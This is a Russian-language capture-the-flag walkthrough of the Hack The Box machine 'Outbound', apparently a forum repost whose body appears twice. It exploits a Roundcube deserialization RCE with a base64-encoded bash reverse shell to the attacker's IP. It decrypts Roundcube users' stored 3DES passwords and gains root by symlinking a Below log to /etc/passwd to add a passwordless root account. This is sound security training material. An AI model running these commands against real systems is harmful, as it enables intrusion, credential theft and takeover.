stihl не предоставил(а) никакой дополнительной информации.
В этот раз используем недавнюю RCE в почтовом клиенте Roundcube, после чего получаем доступ к базе данных и расшифровываем учетные данные пользователей. При повышении привилегий эксплуатируем уязвимость в утилите Below.
Наша цель — получение прав суперпользователя на машине Outbound с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень задания — легкий.
10.10.11.77 outbound.htb
На этот раз, помимо IP-адреса машины, нам также предоставляют и учетные данные пользователя.
Для просмотра ссылки Войдиили Зарегистрируйся
Запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили Зарегистрируйся
Сканер нашел два открытых порта:
Для просмотра ссылки Войдиили Зарегистрируйся
Добавим новый поддомен в файл /etc/hosts и обновим страницу. Нас встречает страница авторизации Roundcube.
10.10.11.77 outbound.htb mail.outbound.htb
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Первым делом стоит проверить, есть ли для обнаруженной CMS готовые эксплоиты. Для начала можно просто поискать их в Google.
Для просмотра ссылки Войдиили Зарегистрируйся
Как видно по первым ссылкам, версия 1.6.10 содержит уязвимость Для просмотра ссылки Войдиили Зарегистрируйся, которая позволяет аутентифицированным пользователям добиться удаленного выполнения кода через десериализацию объектов в PHP, поскольку в program/actions/settings/upload.php нет проверки значения _from из URL.
Воспользуемся этим Для просмотра ссылки Войдиили Зарегистрируйся, но сперва на Для просмотра ссылки Войди или Зарегистрируйся сгенерируем реверс‑шелл в формате Bash (Base64).
Для просмотра ссылки Войдиили Зарегистрируйся
Затем запускаем листенер pwncat-cs -lp 4321 и выполняем эксплоит, которому передаем сгенерированный реверс‑шелл. В результате получаем сессию от имени пользователя службы веб‑сервера www-data.
php ./CVE-2025-49113.php Для просмотра ссылки Войдиили Зарегистрируйся tyler LhKL1o9Nm3X2 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42NC80MzIxIDA+JjE= | base64 -d | bash'
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Подключаемся к СУБД MySQL и запрашиваем список баз данных.
mysql -u roundcube -pRCDBPass2025
show databases;
Для просмотра ссылки Войдиили Зарегистрируйся
Нас интересует база данных roundcube, поэтому сначала получим список таблиц из нее.
use roundcube;
show tables;
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь получаем все данные из таблицы users.
select * from session;
Для просмотра ссылки Войдиили Зарегистрируйся
Декодируем данные из Base64 и извлекаем значение password. Это и есть зашифрованный пароль пользователя jacob.
Для просмотра ссылки Войдиили Зарегистрируйся
В исходном коде Roundcube можно найти функцию Для просмотра ссылки Войдиили Зарегистрируйся.
/**
* Decrypt a string
*
* @param string $cipher Encrypted text
* @param string $key Encryption key to retrieve from the configuration, defaults to 'des_key'
* @param bool $base64 Whether or not input is base64-encoded
*
* @Return string|false Decrypted text, false on error
*/
public function decrypt($cipher, $key = 'des_key', $base64 = true)
{
// @phpstan-ignore-next-line
if (!is_string($cipher) || !strlen($cipher)) {
return false;
}
if ($base64) {
$cipher = base64_decode($cipher, true);
if ($cipher === false) {
return false;
}
}
$ckey = $this->config->get_crypto_key($key);
$method = $this->config->get_crypto_method();
$iv_size = openssl_cipher_iv_length($method);
$tag = null;
if (preg_match('/^##(.{16})##/s', $cipher, $matches)) {
$tag = $matches[1];
$cipher = substr($cipher, strlen($matches[0]));
}
$iv = substr($cipher, 0, $iv_size);
// session corruption? (#1485970)
if (strlen($iv) < $iv_size) {
return false;
}
$cipher = substr($cipher, $iv_size);
$clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, $tag);
return $clear;
}
Метод Для просмотра ссылки Войдиили Зарегистрируйся возвращает алгоритм, который используется для шифрования.
public function get_crypto_method()
{
return $this->get('cipher_method') ?: 'DES-EDE3-CBC';
}
Значит, нам сперва нужно декодировать строку Base64 в Hex. Для этого можно использовать сайт Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Полученные данные разделим на шифротекст и вектор инициализации (8 байт), затем расшифруем 3DES-CBC ключом из конфига. Так получаем пароль пользователя jacob.
Для просмотра ссылки Войдиили Зарегистрируйся
С этими учетными данными авторизуемся в почте пользователя и изучаем сообщения. В одном письме находим пароль системной учетной записи, а из другого узнаём, что на сервере мониторят ресурсы с помощью Below и у пользователя есть доступ к логам.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
С найденным паролем авторизуемся по SSH и забираем первый флаг.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много всего, но из важного для нас — только настройки sudoers.
Для просмотра ссылки Войдиили Зарегистрируйся
Запись в sudo разрешает нам запускать утилиту Below (интерактивный монитор системных ресурсов) от имени пользователя root. Первым делом я решил проверить, есть ли для нее какие‑нибудь эксплоиты.
Для просмотра ссылки Войдиили Зарегистрируйся
В Below есть недавняя уязвимость — Для просмотра ссылки Войдиили Зарегистрируйся. Подвержены версии до 0.9.0, а баг заключается в том, что сервис запускается с правами root и создает каталог /var/log/below с правами 0777 (доступен на запись всем пользователям). Злоумышленник с локальным доступом может подменить файл в этом каталоге (например, через символическую ссылку) и тем самым добиться записи данных в любой файл, что приводит к эскалации привилегий до root.
В Для просмотра ссылки Войдиили Зарегистрируйся говорится, что нам нужно удалить лог в директории /var/log/below/, а затем вместо файла лога создать ссылку на файл /etc/passwd. Это позволит командой below snapshot выполнить запись в этот файл. Добавив строку pwn::0:0:root:/root:/bin/bash, мы сможем авторизоваться как pwn с пустым паролем, но с привилегиями root.
echo 'pwn::0:0:root:/root:/bin/bash' >> passwd2
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
sudo /usr/bin/below snapshot --begin now
cp passwd2 /var/log/below/error_root.log
su pwn
Для просмотра ссылки Войдиили Зарегистрируйся
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Outbound с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.77 outbound.htb
На этот раз, помимо IP-адреса машины, нам также предоставляют и учетные данные пользователя.
Для просмотра ссылки Войди
Запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 9.6p1;
- 80 — веб‑сервер Nginx 1.24.0.
Для просмотра ссылки Войди
Добавим новый поддомен в файл /etc/hosts и обновим страницу. Нас встречает страница авторизации Roundcube.
10.10.11.77 outbound.htb mail.outbound.htb
Для просмотра ссылки Войди
Точка входа
Авторизуемся с выданными учетными данными и первым делом проверяем версию почтового клиента. Как показывает окно About, на сервере используется Roundcube Webmail 1.6.10.Для просмотра ссылки Войди
Первым делом стоит проверить, есть ли для обнаруженной CMS готовые эксплоиты. Для начала можно просто поискать их в Google.
Для просмотра ссылки Войди
Как видно по первым ссылкам, версия 1.6.10 содержит уязвимость Для просмотра ссылки Войди
Воспользуемся этим Для просмотра ссылки Войди
Для просмотра ссылки Войди
Затем запускаем листенер pwncat-cs -lp 4321 и выполняем эксплоит, которому передаем сгенерированный реверс‑шелл. В результате получаем сессию от имени пользователя службы веб‑сервера www-data.
php ./CVE-2025-49113.php Для просмотра ссылки Войди
Для просмотра ссылки Войди
Продвижение
Чтобы изменить контекст работы, нужно поискать учетные данные. Раз на хосте есть почтовый сервер, первым делом попробуем достать логины и пароли пользователей. Есть хороший шанс, что они подойдут и для локальных учетных записей. В случае с Roundcube начни с файла config/config.inc.php: в нем лежат данные для подключения к базе (db_dsnw), а также ключ шифрования паролей пользователей (des_key).Для просмотра ссылки Войди
Подключаемся к СУБД MySQL и запрашиваем список баз данных.
mysql -u roundcube -pRCDBPass2025
show databases;
Для просмотра ссылки Войди
Нас интересует база данных roundcube, поэтому сначала получим список таблиц из нее.
use roundcube;
show tables;
Для просмотра ссылки Войди
Теперь получаем все данные из таблицы users.
select * from session;
Для просмотра ссылки Войди
Декодируем данные из Base64 и извлекаем значение password. Это и есть зашифрованный пароль пользователя jacob.
Для просмотра ссылки Войди
В исходном коде Roundcube можно найти функцию Для просмотра ссылки Войди
/**
* Decrypt a string
*
* @param string $cipher Encrypted text
* @param string $key Encryption key to retrieve from the configuration, defaults to 'des_key'
* @param bool $base64 Whether or not input is base64-encoded
*
* @Return string|false Decrypted text, false on error
*/
public function decrypt($cipher, $key = 'des_key', $base64 = true)
{
// @phpstan-ignore-next-line
if (!is_string($cipher) || !strlen($cipher)) {
return false;
}
if ($base64) {
$cipher = base64_decode($cipher, true);
if ($cipher === false) {
return false;
}
}
$ckey = $this->config->get_crypto_key($key);
$method = $this->config->get_crypto_method();
$iv_size = openssl_cipher_iv_length($method);
$tag = null;
if (preg_match('/^##(.{16})##/s', $cipher, $matches)) {
$tag = $matches[1];
$cipher = substr($cipher, strlen($matches[0]));
}
$iv = substr($cipher, 0, $iv_size);
// session corruption? (#1485970)
if (strlen($iv) < $iv_size) {
return false;
}
$cipher = substr($cipher, $iv_size);
$clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, $tag);
return $clear;
}
Метод Для просмотра ссылки Войди
public function get_crypto_method()
{
return $this->get('cipher_method') ?: 'DES-EDE3-CBC';
}
Значит, нам сперва нужно декодировать строку Base64 в Hex. Для этого можно использовать сайт Для просмотра ссылки Войди
Для просмотра ссылки Войди
Полученные данные разделим на шифротекст и вектор инициализации (8 байт), затем расшифруем 3DES-CBC ключом из конфига. Так получаем пароль пользователя jacob.
Для просмотра ссылки Войди
С этими учетными данными авторизуемся в почте пользователя и изучаем сообщения. В одном письме находим пароль системной учетной записи, а из другого узнаём, что на сервере мониторят ресурсы с помощью Below и у пользователя есть доступ к логам.
Для просмотра ссылки Войди
С найденным паролем авторизуемся по SSH и забираем первый флаг.
Для просмотра ссылки Войди
Локальное повышение привилегий
Теперь нужно собрать информацию и узнать, как продвигаться дальше. Я, как обычно, буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много всего, но из важного для нас — только настройки sudoers.
Для просмотра ссылки Войди
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.Запись в sudo разрешает нам запускать утилиту Below (интерактивный монитор системных ресурсов) от имени пользователя root. Первым делом я решил проверить, есть ли для нее какие‑нибудь эксплоиты.
Для просмотра ссылки Войди
В Below есть недавняя уязвимость — Для просмотра ссылки Войди
В Для просмотра ссылки Войди
echo 'pwn::0:0:root:/root:/bin/bash' >> passwd2
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
sudo /usr/bin/below snapshot --begin now
cp passwd2 /var/log/below/error_root.log
su pwn
Для просмотра ссылки Войди
Машина захвачена!
